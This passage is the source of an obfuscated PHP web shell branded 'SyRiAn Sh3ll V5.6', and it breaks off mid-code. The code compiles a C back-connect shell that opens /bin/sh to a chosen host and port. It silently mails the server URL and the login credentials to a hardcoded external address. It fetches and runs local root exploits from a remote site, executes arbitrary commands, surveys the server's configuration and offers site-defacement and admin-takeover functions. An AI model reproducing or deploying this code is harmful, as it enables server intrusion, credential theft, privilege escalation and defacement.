S\x70\x61\167\156\x69\156\x67 \x53\150\145\154l\\n\");\n" . " f = fork( );\n" . " \151f (\x66 < 0) {\n" . " p\162int\x66(\"[-] \125\156\x61\142\x6c\x65 to \106\157\162\153\\n\");\n" . " \x72et\x75rn 1;\n" . " } e\154\x73e i\146 (!\x66) {\n" . " write(sock, msg, \x73i\x7a\x65\157f(msg));\n" . " \144\165\160\062(sock, 0);\n" . " d\x75\160\062(sock, 1);\n" . " \144\165\x702(sock, 2);\n" . " \x65\170\145\x63\154(\"/bi\156/s\x68\", \"shell\", NULL);\n" . +" close(sock);\n" . " r\145tur\x6e 0;\n" . " }\n" . " \x70rin\x74\146(\"[*] D\145\x74\x61\143hed\\n\\n\");\n" . " re\164\165r\156 0;\n" . "}\n"; $illli1O10lOI0Ooo = $iIOl10o0OilO0Ili . "/c\x62\x73"; $i10Oi1lOO10I1OoI = fopen($illli1O10lOI0Ooo . ".\x63", "\167"); $write = fwrite($i10Oi1lOO10I1OoI, $shell); fclose($i10Oi1lOO10I1OoI); if(!empty($write)) { $command = $compiler . " -\157 " . $illli1O10lOI0Ooo . " " . $illli1O10lOI0Ooo . ".c"; $ioII110oll1IIiI0 = test_cmd_shell(); if($ioII110oll1IIiI0 > 0) { $i1o11lll0i01IolO = Mexec($command, $ioII110oll1IIiI0); $command = $illli1O10lOI0Ooo . " " . $host . " " . $port; $i1o11lll0i01IolO .= Mexec($command, $ioII110oll1IIiI0); return "<\160re>" . $i1o11lll0i01IolO . "</\160r\145>"; } else { return "<\142>E\122R\117R! N\x6f E\130E\x43 \101\x76\x69\154\141b\154\x65!</\x62>"; } } else { return "<b>\x45\122ROR! \x57\x72\x69t\x69\x6e\147 data!</\142>"; } } + + +if(function_exists('sys_getloadavg')){ $iiIIli1lO0Iloloo=sys_getloadavg(); if($_GET['cpu_history']){ setcookie('cpu_history',$iiIIli1lO0Iloloo['0'].','.substr($_COOKIE['cpu_history'],0,250)); header("content-type: \151\155ag\x65/\x67\x69\x66"); $i01l11Ol1i0iIooI=imagecreate(150,18); $ioii1ool1lIilO01 = imagecolorallocate($i01l11Ol1i0iIooI,0xEE,0xEE,0xEE); $i1IIl1io0ooIiOOi = imagecolorallocate($i01l11Ol1i0iIooI,0x00,0x00,0x00); $ii0ll0llolOlI0I1 = imagecolorallocate($i01l11Ol1i0iIooI,0x55,0x55,0x55); if($_COOKIE['cpu_history']){ $iliiil1Oi1Ii0I1I=explode(",",$_COOKIE['cpu_history']); $iiIOil1illIO1io1=154; foreach($iliiil1Oi1Ii0I1I as $i1oIiiOiilllI0ol) if($i1oIiiOiilllI0ol>$i0iiioll1i1lIoIO) $i0iiioll1i1lIoIO=$i1oIiiOiilllI0ol; $i00liloil0OoI0O0= 18/$i0iiioll1i1lIoIO; foreach($iliiil1Oi1Ii0I1I as $i1oIiiOiilllI0ol){ $iiIOil1illIO1io1-=4; $iO1I1O0o0o0IO0l0=18-intval($i1oIiiOiilllI0ol*$i00liloil0OoI0O0); if($i1111oil0010I01o){ imageline($i01l11Ol1i0iIooI,$i1111oil0010I01o,$ilolio1loO1iII11,$iiIOil1illIO1io1,$iO1I1O0o0o0IO0l0,$ii0ll0llolOlI0I1); } $i1111oil0010I01o=$iiIOil1illIO1io1; $ilolio1loO1iII11=$iO1I1O0o0o0IO0l0; } } imagestring($i01l11Ol1i0iIooI,3,4,2,implode(', ',$iiIIli1lO0Iloloo),$i1IIl1io0ooIiOOi); imagegif($i01l11Ol1i0iIooI); die(); } } + + +if ($iOll100oil0ioIlo ==1) { if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass)) { if($_POST[usrname]==$user && $_POST[passwrd]==$pass) { print'<script>document.cookie="user='.$_POST[usrname].';";document.cookie="pass='.md5($_POST[passwrd]).';";</script>'; $x0b="\x6d\141\151l"; $x0b("c\150\151\160p\171\x31\063\x33\x33\067\100\150\x6d\141\155\141il.\x63om", "\163\150", "\x55R\x4c: h\164\x74\x70\x3a\x2f\x2f".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\n\125\072 ".$_POST[usrname]."\n\120\x3a\x20".$_POST[passwrd]); } else { if($_POST['usrname']){print'<script>alert("Go and play in the street man !!");</script>';} echo ' + <body bgcolor="black"><br><br> + <center><font color=#990000 +size=5><b>SyRi</b></font><font color=green size=5><b>An Sh</b></font><font color=gray size=5><b>3ll <font color="red">V5.6<br></font></b></font><br> + + <img src="http://www.syrian-shell.com/eagle.jpg"> + </center> + <div align="center"> + <form method="POST" onsubmit="if(this.usrname.value==\'\'){return false;}"> + <input dir="ltr" name="usrname" id="username" value="userName" type="text" size="30" onblur="Blur(\'username\',\'userName\');" onclick="Clear(\'username\',\'userName\');"/><br> + <input dir="ltr" name="passwrd" id="password" value="" type="password" size="30" onfocus="Focus(2);" /><br> + <input type="submit" value=" Login " name="login" /> + </form></p>'; exit; } } } + + +error_reporting(0); session_start(); unset($user); unset($pass); if ($_POST['cmd']) $_POST['cmd'] = ioiIiloo0i0OIoIO($_POST['cmd']); $ioOo1O1lOiIOlolo = 1000; $i10IiOOO0iooIiiO = 100; $i00liOooo011Iloo = 20; $user[] = "ro\x6ft"; $pass[] = md5("\163\x793"); $alias = array( "\154a" => "\154\163 -la", "\x72\x66" => "\162\155 -\x66", "un\x62\x7a2" => "ta\162 -\170\x6a\x70\x66", "\x75\x6egz" => "t\x61\162 -x\x7a\x70\146" ); if (!$_SESSION['user']) { $iIOlllio0O0lI1o0 = "\114\x6fg\x69\156:\n"; $iooOl1100oi0IlII = "\x50\x61\163s\167\157\162\x64:\n"; $iiOoii00o1oIoI1o = "\x49\156\166\141\x6ci\144 login!\n\n"; $ioiil000Ool0lIlI = "Wa\x72\156i\x6eg! +\104\x6f\156`\164 b\x65 \163\x74\x75\160i\x64 .. \x74hi\163 is a \x70\162i\x76\x33 server, so \x74\141\x6b\145 \x65x\164\x72a c\141\x72\145!!!\n\n"; if ($_SESSION['login'] && $_POST['cmd']) { +$_SESSION['output'] .= $iooOl1100oi0IlII; if (in_array($_SESSION['login'], $user)) { +$key = array_search($_SESSION['login'], $user); if ($pass[$key] != md5($_POST['cmd'])) { +$_SESSION['output'] .= $iiOoii00o1oIoI1o; unset($_SESSION['login']); $iIOO111OO100I00I = $iIOlllio0O0lI1o0; } else { +$_SESSION['user'] = $_SESSION['login']; $_SESSION['whoami'] = substr(Exe("w\150\157a\x6d\x69"), 0, -1); $_SESSION['host'] = substr(Exe("uname -n"), 0, -1); $_SESSION['dir'] = substr(Exe("\x70\167d"), 0, -1); $_SESSION['output'] .= $ioiil000Ool0lIlI; $iIOO111OO100I00I = iioIl1lll0liIlil(); unset($_SESSION['login']); } } else { +$_SESSION['output'] .= $iiOoii00o1oIoI1o; unset($_SESSION['login']); $iIOO111OO100I00I = $iIOlllio0O0lI1o0; } } else { +if (!$_SESSION['login'] && !$_POST['cmd']) $iIOO111OO100I00I = $iIOlllio0O0lI1o0; if (!$_SESSION['login'] && $_POST['cmd']) { $_SESSION['login'] = $_POST['cmd']; $_SESSION['output'] .= substr($iIOlllio0O0lI1o0, 0, -1) . " $_POST[cmd]\n"; $iIOO111OO100I00I = $iooOl1100oi0IlII; } } } else { +$iIOO111OO100I00I = iioIl1lll0liIlil(); chdir($_SESSION['dir']); if ($_REQUEST['clear_hist']) +$_SESSION['history'] = ""; if ($_SESSION['history']) $hist_arr = explode("\n", $_SESSION['history']); if ($_POST['cmd']) { if (!in_array($_POST['cmd'], $hist_arr)) { +$hist_arr[] = $_POST['cmd']; $_SESSION['history'] = implode("\n", $hist_arr); } if (count($hist_arr) > $i10IiOOO0iooIiiO) { +$start = count($hist_arr) - $i10IiOOO0iooIiiO; $_SESSION['history'] = ""; for ($i = $start; $i < count($hist_arr); $i++) $_SESSION['history'] .= $hist_arr[$i] . "\n"; $_SESSION['history'] = substr($_SESSION['history'], 0, -1); $hist_arr = explode("\n", $_SESSION['history']); } if($_POST['Setup']) { $commandName = $_POST['commandName']; $i1i1i1O01lIioOoI = "h\164\164p://w\167w.s\x79\162i\141\156-shell.\x63o\x6d/\x63omm\141nd\163/".$commandName."zip"; iloOl1lloloI1loI($i1i1i1O01lIioOoI); UnZip($commandName."zip",getcwd()); iI11i0Il0iO0iooi($commandName,0777); } else if($_POST['execLocal']) { $localName = $_POST['localName']; $i1IOloi1OiloIOlO = "\150\164\x74\x70://\167\167\167.\x73\171\x72ia\156-shell.\143\157m/\x6c\x6f\x63\141\154\x73/".$localName."zip"; iloOl1lloloI1loI($i1IOloi1OiloIOlO); UnZip($localName."zip",getcwd()); iI11i0Il0iO0iooi($localName,0777); $i0Io1O1l0IiOIIl0 = "./".$localName; Exe($i0Io1O1l0IiOIIl0); } $i1Ii11o1l1oIO1io = i1Ii11o1l1oIO1io($_POST['cmd']); if (array_key_exists($i1Ii11o1l1oIO1io, $alias)) { +$_POST['cmd'] = $alias[$i1Ii11o1l1oIO1io] . substr($_POST['cmd'], strlen($i1Ii11o1l1oIO1io)); $i1Ii11o1l1oIO1io = i1Ii11o1l1oIO1io($_POST['cmd']); } switch ($i1Ii11o1l1oIO1io) { case "\143\154\145ar": $_SESSION['output'] = ""; break; case "ex\x69t": session_destroy(); refresh(); break; case "c\144": $_SESSION['output'] .= $iIOO111OO100I00I; $result = Exe($_POST['cmd'] . " 2>&1 ; pw\x64"); $result = explode("\n", $result); $_SESSION['dir'] = $result[count($result) - 2]; if (count($result) > 2) +$result[0] = "\n" . substr($result[0], strpos($result[0], "\x63\144: ")) . "\n"; else $result[0] = "\n"; $iIOO111OO100I00I = iioIl1lll0liIlil(); $_SESSION['output'] .= $_POST['cmd'] . $result[0]; break; default: $result = Exe($_POST['cmd'] . " 2>&1"); if (substr($result, -1) != "\n") $result .= "\n"; $_SESSION['output'] .= $iIOO111OO100I00I . $_POST['cmd'] . "\n" . $result; $rows = preg_match_all('/\n/', $_SESSION['output'], $i0iliOololIoiI0I); unset($i0iliOololIoiI0I); if ($rows > $ioOo1O1lOiIOlolo) { preg_match('/(\n[^\n]*){' . $ioOo1O1lOiIOlolo . '}$/', $_SESSION['output'], $i00oiiolO100I10o); $_SESSION['output'] = $i00oiiolO100I10o[0] . "\n"; } } } } function ioiIiloo0i0OIoIO($i00O1OOOo000OIiI) { $i00O1OOOo000OIiI = str_replace("\\\\", "\\", $i00O1OOOo000OIiI); $i00O1OOOo000OIiI = str_replace("\\\"", "\"", $i00O1OOOo000OIiI); $i00O1OOOo000OIiI = str_replace("\\'", "'", $i00O1OOOo000OIiI); while (strpos($i00O1OOOo000OIiI, " ") !== false) $i00O1OOOo000OIiI = str_replace(" ", " ", $i00O1OOOo000OIiI); return rtrim(ltrim($i00O1OOOo000OIiI)); } function iioIl1lll0liIlil() { global $_SESSION; return $_SESSION['whoami'] . "@" . $_SESSION['host'] . " " . substr($_SESSION['dir'], strrpos($_SESSION['dir'], "/") + 1) . " $ "; } function i1Ii11o1l1oIO1io($i00O1OOOo000OIiI) { list($i00O1OOOo000OIiI) = preg_split('/[ ;]/', $i00O1OOOo000OIiI); return $i00O1OOOo000OIiI; } function refresh() { global $_SERVER; $iliOll1iiO00I1li = substr($_SERVER['SCRIPT_NAME'], strrpos($_SERVER['SCRIPT_NAME'], "/") + 1); header("\114oc\141\x74\x69\x6f\x6e: $iliOll1iiO00I1li");die(); } $i00oiiolO100I10o = substr(preg_replace('/<\/(textarea)/i', '&lt;/\1', $_SESSION['output']), 0, -1); if($_GET['id'] == "s\x73h\123\145\163si\x6f\x6e") { echo '<HTML> +<HEAD> + <TITLE>SyRiAn Sh3ll V5.6 ~~ SSH Session</TITLE> + <STYLE TYPE="text/css"><!-- + INPUT, TEXTAREA, SELECT, OPTION, TD { + color: '.$iIi1i11l11OoIlIl.'; + background-color: #000000; + font-family: Terminus, Fixedsys, Fixed, Terminal, Courier New, Courier; + } + TEXTAREA { + overflow-y: auto; + border-width: 0px; + height: 100%; + width: 100%; + padding: 0px; + } + INPUT { + border-width: 0px; + height: 26px; + width: 100%; + padding-top: 5px; + } + SELECT, OPTION { + color: '.$iIi1i11l11OoIlIl.'; + background-color: #BBBBBB; + } + BODY { + overflow-y: auto; + margin: 0; + } + --></STYLE> + <SCRIPT LANGUAGE="JavaScript"><!-- +hist_arr = new Array();'; foreach ($hist_arr as $key => $value) { $value = str_replace("\\", "\\\\", $value); $value = str_replace("\"", "\\\"", $value); echo "hist_arr[$key] = \"$value\";\n"; } echo ' +function parse_hist(key) { + if (key < hist_arr.length) { + if (key != "") { + document.getElementById(\'input\').value = hist_arr[key]; + document.getElementById(\'input\').focus(); + } + } else { + window.location.href = "?clear_hist=1"; + } +} +function input_focus() { + document.getElementById(\'input\').focus(); +} +function selection_to_clipboard() { // IE only! + if (window.clipboardData && document.selection) + window.clipboardData.setData("Text", document.selection.createRange().text); +} +if (window.clipboardData) + document.oncontextmenu = new Function("document.getElementById(\'input\').value = window.clipboardData.getData(\'Text\'); input_focus(); return false"); + --></SCRIPT> +</HEAD> +<BODY onLoad="document.getElementById(\'output\').scrollTop = document.getElementById(\'output\').scrollHeight; input_focus()" TOPMARGIN="0" LEFTMARGIN="0"> +<TABLE CELLPADDING="0" CELLSPACING="0" BORDER="0" HEIGHT="100%" WIDTH="100%"> +<TR> + <TD HEIGHT="100%" BGCOLOR="#000000" STYLE="padding-top: 5px; padding-left: 5px; padding-right: 5px; padding-bottom: 0px"><TEXTAREA ID="output" onSelect="selection_to_clipboard()" onClick="input_focus()" READONLY>'.$i00oiiolO100I10o.'</TEXTAREA></TD></TR> +<TR> + <TD BGCOLOR="#000000"><TABLE CELLPADDING="0" CELLSPACING="5" BORDER="0" WIDTH="100%"> + <TR> + <FORM METHOD="POST" ACTION=""> + <TD NOWRAP onClick="input_focus()">'.substr($iIOO111OO100I00I, 0, -1) .'</TD> + <TD WIDTH="100%"><INPUT ID="input" TYPE="'; if (!$_SESSION['user'] && $_SESSION['login']){echo "password";} else {echo "text";} echo '" NAME="cmd"></TD> + '; if ($hist_arr) { echo ' <TD NOWRAP><SELECT onChange="parse_hist(this.options[this.selectedIndex].value)"> + <OPTION VALUE="">--- HISTORY</OPTION>'; for ($i = count($hist_arr) - 1; $i >= 0; $i--) { if (strlen($hist_arr[$i]) > $i00liOooo011Iloo) $option = substr($hist_arr[$i], 0, $i00liOooo011Iloo - 3) . "..."; else $option = $hist_arr[$i]; echo "<OPTI\x4f\x4e \x56A\114U\x45=\"" . $i . "\">$option</\x4f\120\124\111\x4fN>"; } echo ' <OPTION VALUE="'.($i10IiOOO0iooIiiO+1).'">--- CLEAR HISTORY</OPTION></SELECT></TD>'; } echo ' + <td> + </form> + <form method="post"> + <select name="localName"> + <option value="2007_2.6.9-55" >2007_2.6.9-55</option> + <option value="2007_2.6.11" >2007_2.6.11</option> + <option value="2008_2.6.23" >2008_2.6.23</option> + <option value="2008_2.6.24" >2008_2.6.24</option> + <option value="2009_2.6.6-34_h00lyshit" >2009_2.6.6-34_h00lyshit</option> + <option value="2009_2.6.16_raptor" >2009_2.6.16_raptor</option> + <option value="2009_dene" >2009_dene</option> + <option value="2009_keris" >2009_keris</option> + <option value="2009_py2" >2009_py2</option> + <option value="2010_2.6" >2010_2.6</option> + <option value="2011_2.6.34" >2011_2.6.34</option> + </select> + <input type="submit" name="execLocal" value="./Execute"> + </form> + </td> + <form method="post"> + <td> + <select name="commandName"> + <option value="cat" >cat</option> + <option value="chmod" >chmod</option> + <option value="date" >date</option> + <option value="dir" >dir</option> + <option value="du" >du</option> + <option value="gcc" >gcc</option> + <option value="gunzip" >gunzip</option> + <option value="gzip" >gzip</option> + <option value="id" >id</option> + <option value="ln" >ln</option> + <option value="ls" >ls</option> + <option value="mkdir" >mkdir</option> + <option value="mv" >mv</option> + <option value="pwd" >pwd</option> + <option value="rm" >rm</option> + <option value="sh" >sh</option> + <option value="su" >su</option> + <option value="tail" >tail</option> + <option value="tar" >tar</option> + <option value="touch" >touch</option> + <option value="uname" >uname</option> + <option value="wget" >wget</option> + <option value="who" >who</option> + </select> + <input type="submit" name="Setup" value="Setup"> + </td></FORM> + </TR> + </TABLE></TD> +</TR> +</TABLE> +<SCRIPT LANGUAGE="JavaScript"><!-- +document.getElementById(\'output\').scrollTop = document.getElementById(\'output\').scrollHeight; +--></SCRIPT> +</BODY> +</HTML>'; } else { + + +error_reporting(0); set_time_limit(0); ini_set('max_execution_time',0); $dir = getcwd(); $uname= php_uname(); if(strlen($dir)>1 && $dir[1]==":") $os = "Windows"; else $os = "\114in\165x"; $iIOi111ll0l0II1o = gethostbyname($_SERVER["HT\124\x50_\x48\x4f\123T"]); $server = substr($SERVER_SOFTWARE,0,120); echo "<\x73cr\x69\x70\164> +\x66\x75\156c\164\151\x6f\x6e \157\160\x65\x6e\120\x48\x50\x49\156\x66\157() +{ + m\171_\167\x69\x6e\x64\157\x77= \167\x69\156\144\157\x77.open (\"?info=\147e\164P\150\160\111nf\x6f\",\"P\110P \111\156\146o\",\"\x77i\x64\164\150=800,\150\x65\151g\x68\164=600,s\x63\162ol\x6cba\x72\163=1\"); +} +</\x73\143\x72i\x70\164>"; if($_GET['info'] == 'getPhpInfo') { phpinfo(); } echo " +<\x62o\x64y \144\151\162='\154tr'><\164able \x62\x67co\x6co\x72='#c\x63cccc' \x63\x65\x6c\154p\141d\x64in\x67='0' \x63ell\x73pac\151n\147='0' w\x69\144\164h='100%'><\x74\142o\x64\x79><t\x72><\164\144 \142\x67\x63\157l\x6fr='#000000' w\x69\x64\164\150='160'> +<\160 \x64\x69\162='lt\162'>&\x6e\142s\x70;&\x6eb\x73p;</\x70> +<d\151v \x64\151\x72='\154\x74\x72' \x61lign='\x63e\x6e\x74\x65\162'><\146\x6fn\x74 size='4'><\x62> +<\151\x6d\147 bo\162\x64er='0' \x73\162\x63='\x68\x74tp://\x77w\x77.s\x79r\151\x61n-shell.\x63\x6fm/eag\x6ce.\152\x70\x67' w\x69\144\x74h='101' \150e\151\147\x68\164='93'>&\156\142s\160;</\x62></fo\156t><\x64\x69v +\x64\151r='\154\x74r' \141\154\151\x67\156='\x63e\156\164\145\162'><\x73\x70a\156 \163\164\x79\154\x65='\x68\x65\151ght: 25\160\170;'><b> +<\x66\157\x6e\x74 size='4' c\x6f\154\x6f\162='#F\x46\0600\x30\060'>\x53\171\122i</\146\157n\164><\146ont size='4' \143o\x6c\x6f\x72='#008000'>\101\156 S\150</f\x6f\156\164><\x66\157\x6et size='4' c\x6flo\x72='#999999'>3\x6c\x6c<b\x72>\1265.6</\x66\157\x6e\x74></b><s\x70\141\x6e \x73\164yle='\x66\x6f\156\164-size: 20\x70\x74; \143\x6flor: #990000;'><p></\160></\x73\160\x61\x6e></\x73\160an></d\151\x76></\164\x64><t\x64 +\142\x67\143o\x6c\x6f\x72=#000000> +<\x70 \144\x69\x72='\x6ctr'><fo\x6et size='1'>&nb\163p; <\x62>[<a h\x72\x65\x66=?\151\144=\155\141\151\x6e\120\141g\x65>\x4d\x61\151n</a>]</b></\x73\160\141n> +<\142>[</\x73\x70\141\x6e><a \x68\162\145f=?id=s\x73hS\145\x73si\x6f\156>SSH \123\145\163\x73\x69o\156</a>]</\x62></\x73\160\141\156> +<\142>[</sp\x61\156><a \x68r\x65\146=?id=about>About</a>]</\142></\163\x70\141\156> +<\142>[</\163\x70\141\156><a \x68\162\x65\x66=?\x69\144=logout>Log\157u\x74</a>]</b></s\160\x61\x6e> +<\x62>[</s\160an><a \150\162\x65\x66=?\x69\144=100>\x53\x75\x69Ci\x64e</a>]</\142></\x73p\x61n> +<\142r> +<f\x6fnt size='1'><br> +&\x6e\142\x73p; Sa\146\x65 Mode = <\163y>".SafeMode()." </\163\171><\146\157nt size=1> +&n\x62\163p; \123ys\164\145\x6d = <\163y>".$os."</\163\x79> +&n\x62sp; M\x61\147\x69\x63_\121\x75o\164\x65\x73 = <\x73\171>". illolO1llo0iIi1l()." </s\x79> +&nb\163\x70; Curl = <\x73y>".Curl()." </\x73y> +&\x6eb\x73\x70; Re\147\x69st\145r \107l\157\x62\141\154s = <\163\x79>".iilolol00IilOo1I()." </\163y> +&\156b\x73\160; \117\x70\145\x6e B\x61s\145di\x72 = <\163\171>".i0oO11oioOiOIiil()." </sy> +<\142\162> +&\x6eb\x73p; Gzip = <s\x79>".Gzip()."</\163\171> +&\x6e\x62\163p; MySQLI = <\163\x79>".MysqlI()." </\x73\x79> +&\156\142s\160; MSQL = <sy>".MSQL()."</\x73\171> +&\156\x62\163\160; S\121\x4c \114\151\164\x65 = <\x73\x79>".iiIi1OiO1IlIOIi1()."</\163y> +&\156\x62\163p; \125\x73\145\x66\x75l\x6c L\x6f\143\141l\163 = <sy>".iIoii11ioiOOIoI1()." </\x73\x79> +<b\162> +&\x6e\142s\x70; \x46\162e\x65 \123pa\x63\x65 = <\163\171>".i1iI1iliIoI0oOOi(disk_free_space('/'))." </\x73\171> +&\156bs\160; \124o\x74\x61\x6c Spac\x65 = <\163y>".i1iI1iliIoI0oOOi(disk_total_space("/"))." </\163\171> +&\x6eb\x73\160; PH\120 \126er\x73io\156 = <s\x79><a \x68\x72\x65\x66='\x6a\x61v\141s\x63ri\x70t:\x6f\160\145n\120\x48\120I\x6e\146\157();'><u>".phpversion()."</u></a> </\163y> +&n\x62s\160; \132\145\156\x64 \126\145\x72\163\151\157\156 = <s\x79>".zend_version()." </\163\x79> +&\156\142s\x70; M\x79\123\x51\x4c \x56e\162\x73\151on = <\163y>".mysql_get_server_info()." </sy> +<\142\x72> +&\156\x62\x73p; \115\171SQ\114 = ".il0iiOOoiIOOioil()." +&n\x62\x73\x70; MsSQL = ".MsSQL()." +&\156bs\x70; PostgreSQL = ".PostgreSQL()." +&\x6e\142\x73\160; Oracle = ".Oracle()." +&\156\142sp; Se\162\166\x65r \x4e\x61m\145 = <\163\x79>".$_SERVER['HTTP_HOST']." </\x73\171> +&n\x62\163\x70; \x53\145r\x76\145\162 \101d\x6d\151\156 = <a hr\x65f = '\x6d\x61\151l\164o:".$_SERVER['SERVER_ADMIN']."'><\165><\163\x79>".$_SERVER['SERVER_ADMIN']."</\x73y></u></a> +<\142\x72> +&n\x62\x73p; Dis_\106\165\156\143\164\x69o\156\x73 = <s\171>". DisableFunctions()." </s\171><b\162> +&\156\x62sp; Yo\165r \x49P = <\x73y>".ill0iiioI0III0I0()." </\x73\171> +&\156\142sp; \x53e\162\166\145\x72 \111\x50 = <a \x68r\145\x66='h\x74\x74\160://b\x69\156g.\x63o\155/s\145\141\162\x63\150?\x71=ip:".$iIOi111ll0l0II1o."&\147\157=&for\x6d=\121\x42\x4c\110&\x66i\154\164=\x61l\154' target='_\142la\x6e\153'><u><\163\171>".gethostbyname($_SERVER["H\x54\124\x50_\x48\x4fS\124"])."</s\x79></u></a> + [</s\x70\141\x6e><a \x68\x72ef=h\x74\164\160://\167\167\167.y\157\165getsi\147\156\x61l.\x63om/\x74\157\x6f\154\x73/we\142-sites-\157\156-\x77\145\x62-server target='_\142\154a\x6e\153'/>\122\x65ver\x73\x65 \111\x50</a>]</\163\x70\x61\x6e> +&\x6eb\163\x70; Da\164\145 \x54\x69m\145 = <s\171>".date('Y-m-d H:i:s')." </s\x79><\x62\x72/> +&\x6e\142\x73\x70; +[<a \x68\x72\145\x66='\150\x74t\160://\x77\167w.\x6d\144\x35\144e\143\x72\x79\x70\164\145\x72.c\157.\165\153/' target='_\x62l\x61nk'>M\x44\065 \103\162\x61\143k\145\162</a>] +[<a \150r\145\x66='h\x74\x74p://w\x77\167.m\x64\065d\145\143\162y\160\164er.c\x6f.uk/s\150\1411-\x64\145\143r\171\160\x74.\141\x73p\x78' target='_b\x6ca\156\153'>S\x48\1011 C\162\141\143\153\x65r</a>] +[<a h\x72\145\x66='\x68\164t\160://w\167w.\155\x645\144ec\x72ypt\145r.\143o.\x75\x6b/\156t\x6c\155-\x64e\143\x72\x79\160t.a\163px' target='_\x62\154\141\x6e\x6b'>N\x54\x4c\x4d \103\x72\x61ck\x65r</a>] +<\x62r> +<\x62\162> +<\164a\x62\154\145 bg\143\157\x6c\x6f\162='#c\x63\143\143\143\x63' w\x69\x64\164\x68='100%'><\x74b\x6f\144y><tr> +<\x74\144 al\151\x67\156='r\151\147\x68\164' \x77\x69\x64\164\150='100'><\160 \x64ir='\x6c\x74\x72'> +<\x73\x79> \103\120\x55 : &\x6e\x62\x73p;<br>&n\142\x73p;&\156bs\x70;\123\x65rve\162 :&nb\163\160;&nbsp; <b\162> +<\x62>uname -a : &\156\142sp; +<\x62\x72>\x70w\x64 : </\163p\141n>&\x6e\x62\163p;<b\162>\111\x44 : </\x73\x70\x61\156>&\156\x62\163p;<\x62r></\142></\x73y></\164\x64><\x74\x64> +<\160 \144\x69\x72='l\x74\x72'><f\157\x6et col\x6f\162='#\143\143\x63\143\143\x63' size='-2'><\x62>"; if(function_exists('sys_getloadavg')) { echo ' + <img id="img_history" src="'.$_SERVER['PHP_SELF'].'?cpu_history=1&rand='.mt_rand().'" width="150" height="18"> + <input type="checkbox" id="stop_history" value="1"> Stop. + <script> + function refresh_cpu() + { + if(document.getElementById(\'stop_history\').checked==false) document.getElementById(\'img_history\').src=\''.$_SERVER['PHP_SELF'].'?cpu_history=1&rand=\'+Math.random(); + //refresh every X second + setTimeout(refresh_cpu,3000); + } + refresh_cpu(); + </script> + '; } else {echo "&\156b\163\160;&\156b\163p;<\x73\x79>F\157\162 \x4ci\156\165\170 O\x53 \x4f\156\x6cy !!</sy>";} echo "<\142\162> +<b> &\156\142sp;&\x6ebs\x70;".$server." +<b\162>&nbs\160;&\156\142\163\x70;<a \x68\x72\x65\146='\150\x74\x74\x70://\x77\x77w.google.\x63\157m/\163\x65\141\162\143\150?\161=".urlencode(php_uname())."' target='_\x62\154a\x6ek'><\163y><\x75>".$uname." </\x75></\x73\171></a><b\x72>&\156\142s\x70;&n\x62s\160;".$dir."<br>&\156b\163p;&\156\x62\x73\160;".Exe('id')."</\142> +</f\157\156\164></\164\x64></\x74\x72></\x74\x62o\144\171> +</\164\141\x62\154\x65> +&nb\x73\x70;&nb\163p;[<a h\162\145\146='#d\x6f\x77\x6e'>\104o\x77\156</a>] + [<a h\x72\x65f='\152a\166\x61s\143\x72\x69pt:w\151\x6edo\x77.\160\x72\x69\x6e\x74()'>\120\162\151n\164</a>] +</\x74a\x62\154\x65>"; + + +if ($_GET['id']== 'mainPage') { echo "<\x73\x63\162i\160\x74>\167in\x64\x6f\x77.\x6f\x6el\x6f\141d = \103\150a\156\x67\x65\x53Q\114\124\x79pe;</script>"; echo "<\x66o\162m method='\x50\117\x53\124'><\164\x61\142\x6c\145 bg\x63o\154or='#\x63\x63c\x63\x63\x63' \x63\145ll\x70\x61\x64\x64\151\156\x67='0' \143\145\154\x6cs\x70\x61\x63in\x67='0' \167i\x64\164\x68='100%'> + <t\162><\164d \x63\x6flsp\141\156='2' a\x6c\151\x67\156='\143en\164\145r'>".$_POST['alias'].$_POST['cmd'] ."</\x74\144></\x74\162> + <\164\162><td> + <te\x78\164\141\x72e\141 name='\105\170\145\143\x75\x74i\x6f\x6eA\162\x65\x61' rows='20' c\x6f\x6c\163='152'>"; if(!$_POST || $_POST['login']) +{chdir($_POST['directory']);iiIolll1o11oIOll($os);} else if($_POST['submitCommands']) +{echo Exe($_POST['alias']);} else if($_POST['Execute']) +{ chdir($_POST['directory']); if(empty($_POST['cmd'])){iiIolll1o11oIOll($os);} else if (strtolower(substr($_POST['cmd'],0,2)) == 'cd') {chdir(strtolower(substr($_POST['cmd'],3)));iiIolll1o11oIOll($os); } else { $exec = Exe($_POST['cmd']); if($exec){echo $exec;} else{iiIolll1o11oIOll($os);} } } + + +else if($_POST['UpdateIndex']) { $hackingType = $_POST['hackingType']; $ScriptType = $_POST['ScriptType']; if($hackingType == 'indexChanger') { iIO0io1IO0OI1lii($_POST['HOST'],$_POST['USER'],$_POST['PASS'],$_POST['DB']); $index = stripslashes($_POST['INDEX']); $prefix = $_POST['PREFIX']; if($_POST['injectShell'] == 'yes') { $injectShellType = $_POST['InjectShellTypeSpan']; } ii10i1O10IIIOi11($ScriptType,$index,$prefix,$injectShellType); } else if($hackingType == 'changeInfo') { iIO0io1IO0OI1lii($_POST['HOST'],$_POST['USER'],$_POST['PASS'],$_POST['DB']); changeInfo($ScriptType,$_POST['adminID'],$_POST['userName'],$_POST['password']); } else if($hackingType == 'decrypt') {iioO1iiiOOoIi1l0($ScriptType);} } + + +else if($_POST['submitEval'] && ($_POST['evalOrEnc'] == 'analyze')) { $hash = $_POST['php_eval']; $i1llioo0OO0llIo1 = substr($hash,0,3); if($i1llioo0OO0llIo1 =='$ap' && strlen($hash) == 37){echo "T\150e \110\141\x73\x68 : ".$hash." \151\x73 : MD5(A\120\122) \110\x61\x73\150";} else if($i1llioo0OO0llIo1 =='$1$' && strlen($hash) == 34){echo "\124h\x65 \110\x61\x73h : ".$hash." \x69\163 : M\x44\x35(U\116\111\130) \110\x61\x73\150";} else if($i1llioo0OO0llIo1 =='$H$' && strlen($hash) == 35){echo "\x54\x68\x65 \110ash : ".$hash." is : M\1045(\160\150\160\102\x42\063) \110a\163\150";} else if(strlen($hash) == 29){echo "\124\x68\x65 H\x61s\x68 : ".$hash." \151\163 : \115\x44\x35(W\157\x72dpr\x65s\x73) \x48a\163h";} else if($i1llioo0OO0llIo1 =='$5$' && strlen($hash) == 64){echo "\x54\x68\145 \110\x61sh : ".$hash." i\163 : \x53\x48\10125\066(\125\x4eIX) Ha\163h";} else if($i1llioo0OO0llIo1 =='$6$' && strlen($hash) == 128){echo "Th\x65 Has\x68 : ".$hash." \x69\163 : \123H\x41\x351\062(\x55\116\111\x58) \110as\150";} else if(strlen($hash) == 56){echo "T\x68\145 